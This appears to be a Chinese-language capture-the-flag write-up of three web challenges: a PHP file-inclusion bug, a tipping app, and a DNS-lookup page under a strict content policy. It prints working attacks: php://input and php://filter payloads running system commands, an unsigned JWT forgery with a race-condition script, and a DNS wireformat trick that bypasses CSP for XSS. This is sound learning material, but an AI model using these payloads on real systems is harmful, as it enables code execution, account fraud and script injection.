玩玩
web
Dumperignon
dumperignon-01.hackaplaneten.se/?source
What would you rather pop, bottles or shells?
真的是好久好久好久好久没做php了
source
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125
| <?php ini_set("display_errors", TRUE); error_reporting(E_ALL);
ini_set("allow_url_fopen", 0); ini_set("allow_url_include", 0); ini_set("open_basedir", "/var/www");
if(isset($_GET['source'])){ die(show_source(__FILE__)); }
function nohack($str){ return preg_replace("/(\.\.+|^\/|^(file|http|https|ftp):)/i", "XXX", $str); }
foreach($_POST as $key => $val){ $_POST[$key] = nohack($val); } foreach($_GET as $key => $val){ $_GET[$key] = nohack($val); } foreach($_REQUEST as $key => $val){ $_REQUEST[$key] = nohack($val); }
if(isset($_GET['file'])){ set_include_path("/var/www/messages"); echo "Message contents: <br>\n<pre>"; include($_GET['file']); echo "</pre>"; die(); }
if(isset($_POST['file'])){ if(strlen($_POST['file']) > 1000){ echo "too big file"; die(); } $filename = md5($_SERVER['REMOTE_ADDR']).rand(1,1337).".msg"; $fp = fopen("/var/www/messages/".$filename, 'wb'); fwrite($fp, "<?php var_dump(".var_export($_POST['file'], true).")?>"); fclose($fp); header('Location: /?file='.$filename); die(); }else{ ?>
<html lang="en-US"> <head id="head"> <title>Dumperignon</title> <style>
body, html { height: 100%; }
.bg::before { content: ""; top: 0; left: 0; width: 100%; height: 100%; position: absolute; background-position: center; background-repeat: no-repeat; background-size: cover; filter: blur(3px); background-image: url(https: } textarea { width: 100%; height: 150px; padding: 12px 20px; box-sizing: border-box; border: 2px solid border-radius: 4px; background-color: font-size: 16px; overflow:hidden; } input { width: 100%; background-color: border: 1px solid black; color: white; padding: 15px 32px; text-align: center; text-decoration: none; display: inline-block; font-size: 16px; } .bg-inside { text-align: center; font: bold 42px sans-serif; width: 600px; height: 300px; position: absolute; top:0; bottom: 0; left: 0; right: 0; margin: auto; } </style> </head> <body> <div class="bg"> <div class="bg-inside"> <form method="POST" action="/"> <textarea name="file" required placeholder="Enter message contents..."></textarea> <input type="submit" value="Save" /> </form> </div> </div> </body></html>
<?php } ?> 1
|
先理一理这题啥意思
PHP ini_set
用来设置php.ini的值,在函数执行的时候生效,脚本结束后,设置失效。无需打开php.ini文件,就能修改配置,对于虚拟空间来说,很方便。
限制死了文件包含。。。 但是限制了 open_basedir
1 2 3
| ini_set("allow_url_fopen", 0); ini_set("allow_url_include", 0); ini_set("open_basedir", "/var/www");
|
然后把每个请求都用 这玩意过滤了一下 意思就是把四种请求头给过滤了
1 2 3
| function nohack($str){ return preg_replace("/(\.\.+|^\/|^(file|http|https|ftp):)/i", "XXX", $str); }
|
然后就是有个请求文件的路由 一个查看 一个上传 GET 和 POST
1 2 3 4 5 6 7
| if(isset($_GET['file'])){ set_include_path("/var/www/messages"); echo "Message contents: <br>\n<pre>"; include($_GET['file']); echo "</pre>"; die(); }
|
然后是POST 但是后面有点奇怪 包含了一堆 html 进去 不知道有没有什么操作空间
1 2 3 4 5 6 7 8 9 10 11 12
| if(isset($_POST['file'])){ if(strlen($_POST['file']) > 1000){ echo "too big file"; die(); } $filename = md5($_SERVER['REMOTE_ADDR']).rand(1,1337).".msg"; $fp = fopen("/var/www/messages/".$filename, 'wb'); fwrite($fp, "<?php var_dump(".var_export($_POST['file'], true).")?>"); fclose($fp); header('Location: /?file='.$filename); die(); }else{
|
然后接了这么一句话 不知道有什么深意
在php
中间加了一堆html元素???
猜测一波 这点与绕过open_basedir
有关?
来仔细看一下这个上传文件的操作
然后我们就是要绕过 nohack
但是 emmm
为啥传什么进去都是string啊 草 怎么搞
因为他这里最后是
突然想到 他不允许我远程包含 但是我可以本地包含呀
1
| data://text/plain;base64,PD9waHAgc3lzdGVtKCJscyIpOz8+
|
我们能不能把这个base64给写到本地去。然后再请求 include 去包含它
直接由 input://
1 2 3 4 5 6 7 8 9 10 11 12 13
| GET /?file=php://input HTTP/1.1 Host: dumperignon-01.hackaplaneten.se Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.5005.63 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Referer: http://dumperignon-01.hackaplaneten.se/ Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Connection: close Content-Length: 38
a=<?php system('./flag_dispenser');?>
|
**php://
****在allow_url_fopen
,allow_url_include
都关闭的情况下可以正常使用
看了看maple大哥的wp (比我的麻烦 嘻嘻
1 2
| xxPD9waHAgc3lzdGVtKCRfR0VUWzBdKTsvL3R4 http://dumperignon-01.hackaplaneten.se/?file=php://filter/convert.base64-decode/resource=/var/www/messages/e8c2ef8ec46207240b47fd7905b70ede842.msg&0=./flag_dispenser
|
nofkntax(all,web,is,guess?)
1 2
| http://nofkntax.pwn.so:45246/ Tax or haxx? Choose your destiny. Please note: the database is reset once an hour.
|
guess?
那我们就来guess guess
要买flag
要很多前
估计要搞数据库
那应该要注入
有个tip
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| POST /account/tip HTTP/1.1 Host: nofkntax.pwn.so:45246 Content-Length: 167 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 Origin: http://nofkntax.pwn.so:45246 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.5005.63 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Referer: http://nofkntax.pwn.so:45246/account Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Cookie: acct=ba814cf1894723fbf12ba2546352a4b784dbb613 Connection: close
amount=1&dest=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJhZGRyZXNzIjoiMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMCJ9.k6JoCG270Us_AO9vE0JWgi6M2PZMZ8whQZSdUbGNftk
|
Cookie: acct=ba814cf1894723fbf12ba2546352a4b784dbb613
咋感觉这个cookie一直都没变。。。
购买成功的cookie
1
| Cookie: acct=1e4d366d7351275407c50d67666e4715d18a0897; msg=Q29uZ3JhdHVsYXRpb25zLCB5b3UganVzdCBib3VnaHQgYSB0aGluZyE%3D
|
Congratulations, you just bought a thing!
在这个数的时候还可以发 1000000000000000000
但是多一个0都不行
other’s sol
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76
| import requests import base64 import json import os import time
def get_jwt(acct):
jwt_prefix = "eyJhbGciOiJOb25lIiwidHlwIjoiSldUIn0" jwt_payload = base64.standard_b64encode(json.dumps({ "address": acct, }).encode()).decode().replace("=", "")
return jwt_prefix + "." + jwt_payload + "."
sess_a = requests.session() sess_a.headers.update({ "User-Agent": "A" })
sess_b = requests.session() sess_b.headers.update({ "User-Agent": "B" })
resp = sess_a.get("http://nofkntax.pwn.so:45246/account", ) resp = sess_b.get("http://nofkntax.pwn.so:45246/account", )
jwt_a = get_jwt(sess_a.cookies['acct']) jwt_b = get_jwt(sess_b.cookies['acct'])
for i in range(16): print(i)
if i % 2 == 0: s = sess_a tip_jwt = jwt_b else: s = sess_b tip_jwt = jwt_a
os.system(f""" curl --request POST \ --url http://nofkntax.pwn.so:45246/account/tip \ --header 'Content-Type: application/x-www-form-urlencoded' \ --header 'User-Agent: {s.headers['User-Agent']}' \ --data amount={2**i} \ --data dest={tip_jwt} & curl --request POST \ --url http://nofkntax.pwn.so:45246/account/tip \ --header 'Content-Type: application/x-www-form-urlencoded' \ --header 'User-Agent: {s.headers['User-Agent']}' \ --data amount={2**i} \ --data dest={tip_jwt} & """) time.sleep(2)
print(resp.status_code) print(resp.text) print()
""" GET /account <li> <span class="item"><img src="/assets/img/items/4.gif" alt="SECFEST{7h1s_NFT_stUfF_1s_4_r4T_r4C3}" width="70" height="70" /></span> <h3>SECFEST{7h1s_NFT_stUfF_1s_4_r4T_r4C3}</h3> <p><strong class="small-price">₳65536.00</strong></p> </li>
"""
|
Madness
所以这题的flag在哪。草
没看懂哇
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40
| from flask import Flask, jsonify, make_response, render_template, request, redirect import dns.resolver from werkzeug.urls import url_fix
import re app = Flask(__name__, static_url_path="/app/static")
@app.route('/', defaults={'path': ''}) @app.route('/<path:path>') def hello_world(path): if path == "": return redirect("/app", code=301) return render_template('index.html', prefix="/"+request.path.lstrip("/"))
@app.route('/app/api/lookup/<string:domain>') def lookup(domain): if re.match(r"^[a-z.-]+$", domain): my_resolver = dns.resolver.Resolver() my_resolver.nameservers = ['1.1.1.1'] out = [] try: for item in my_resolver.query(domain, 'A'): out.append(str(item)) return make_response(jsonify({"status":"OK", "result":out})) except Exception as e: return make_response(jsonify({"status":"ERROR", "result":str(e)})) else: e = "invalid domain (^[a-z.-]+) {}".format(domain) return make_response(jsonify({"status":"ERROR", "result":str(e)}))
@app.after_request def add_header(response): response.headers['X-Frame-Options'] = 'DENY' response.headers['X-Content-Type-Options'] = 'nosniff' response.headers['Content-Security-Policy'] = "default-src 'self' cloudflare-dns.com; img-src *" return response
if __name__ == '__main__': app.run(host='0.0.0.0', debug=False)
|
奇怪的xss
csp
1 2 3
| response.headers['X-Frame-Options'] = 'DENY' response.headers['X-Content-Type-Options'] = 'nosniff' response.headers['Content-Security-Policy'] = "default-src 'self' cloudflare-dns.com; img-src *"
|
看一下 这个 cloudflare-dns.com
啥意思
想要整xss 不知道这个 href
有没有什么用
这个path 其实是没有被过滤的
我们可以控制这个路径
1 2
| <link rel="stylesheet" href="/fuckyou/2333/static/style.css"></link> <script type="text/javascript" src="/fuckyou/2333/static/dns.js"></script>
|
先看一下这个lookup
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| @app.route('/app/api/lookup/<string:domain>') def lookup(domain): if re.match(r"^[a-z.-]+$", domain): my_resolver = dns.resolver.Resolver() my_resolver.nameservers = ['1.1.1.1'] out = [] try: for item in my_resolver.query(domain, 'A'): out.append(str(item)) return make_response(jsonify({"status":"OK", "result":out})) except Exception as e: return make_response(jsonify({"status":"ERROR", "result":str(e)})) else: e = "invalid domain (^[a-z.-]+) {}".format(domain) return make_response(jsonify({"status":"ERROR", "result":str(e)}))
|
我们可能要学习一下 xss via dns
https://medium.com/tenable-techblog/cross-site-scripting-via-whois-and-dns-records-a25c33667fff
https://blog.apnic.net/2022/02/22/resurrection-of-injection-attacks/
有点像
我还找到了这个
https://book.hacktricks.xyz/pentesting-web/content-security-policy-csp-bypass#third-party-endpoints-+-jsonp
不太行 没啥 jsonp
maple大哥的解
很明顯是要在 cloudflare-dns.com
上面找到 endpoint 可以回傳自訂的 payload。
後來查一查官方文件看到了這個: Using DNS Wireformat
它能讓你直接把 DNS 的 packet 用 base64 encode 放在 url 上傳送,然後回傳值是直接 binary DNS response。所以可以看看有沒有什麼方法能讓 DNS response 變成 js 來繞 CSP。
1 2 3 4 5 6 7 8 9
| from base64 import b64decode, b64encode from dnslib import DNSRecord, DNSQuestion, DNSHeader
pkt = DNSRecord(DNSHeader(id=0x2F2A), q=DNSQuestion("*/alert(1)//")) b64encode(pkt.pack())
# http: # SECFEST{l00kz_l13K_JS_2_m3!?}
|